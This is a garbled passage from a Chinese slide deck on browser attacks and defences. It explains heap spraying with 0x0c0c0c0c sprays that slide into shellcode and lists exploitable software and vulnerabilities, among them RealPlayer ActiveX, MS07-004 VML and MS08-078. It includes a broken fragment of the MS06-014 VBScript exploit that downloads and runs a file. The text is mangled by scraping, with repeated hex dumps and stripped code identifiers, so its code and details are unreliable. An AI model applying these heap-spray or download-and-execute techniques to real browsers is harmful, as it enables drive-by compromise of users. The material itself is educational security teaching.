淺談瀏覽器的攻擊與防護(編輯修改稿)
2024-11-12 13:13 本頁面
【文章內(nèi)容簡介】 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... . 0x0c0c0c0c的地址的內(nèi)容也是 0c0c0c0c、 0C0C0C0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... . 0C0C0C1C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... . 0C0C0C2C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... . 0C0C0C0C 0C 0C OR AL,0C 0C0C0C0E 0C 0C OR AL,0C 0C0C0C10 0C 0C OR AL,0C 0C0C0C12 0C 0C OR AL,0C 控制 eip寄存器指向了 0x0c0c0c0c這個地址，就會一直在這片內(nèi)存中執(zhí)行下去，一直執(zhí)行到我們的 shellcode為止。 堆噴射攻擊 ? 暴風影音 ? 聯(lián)眾 ? 超星閱讀器 ? 訊雷 ? REALPAY () ? MS07004 （ VML溢出） ? MS08078 （ IE7 XML） 第三方軟件漏洞 ? REALPAY IMPORT漏洞 ? RealPlayer的 媒體庫文件，如果用戶使用 ActiveX控件 {FDC7A53540704B92A0EAD9994BCC0DC5}將有漏洞的文件導入到用戶的媒體庫的話，則在刪除該文件時就會觸發(fā)棧溢 出，導致執(zhí)行任意指令。 瀏覽器自身跨域漏洞 ? MS06014 ? script language=VBScript ? on error resume next ? Set df = (object) ? classid, clsid:BD96C55665A311D0983A00C04FC29E36 ? Set x = (,) ? set S = (,) ? = 1 ? GET, False ? ? set F = (,) ? set tmp = (2) ? set fname1= (tmp,) ? ? ? fname1,2 ? ? set Q = (,) ? fname1,open,0 ? /script 第三方軟件的格式溢出 ? Flash 9 ? Adobe Flash Player
教學課件相關(guān)推薦
鄂ICP備17016276號-1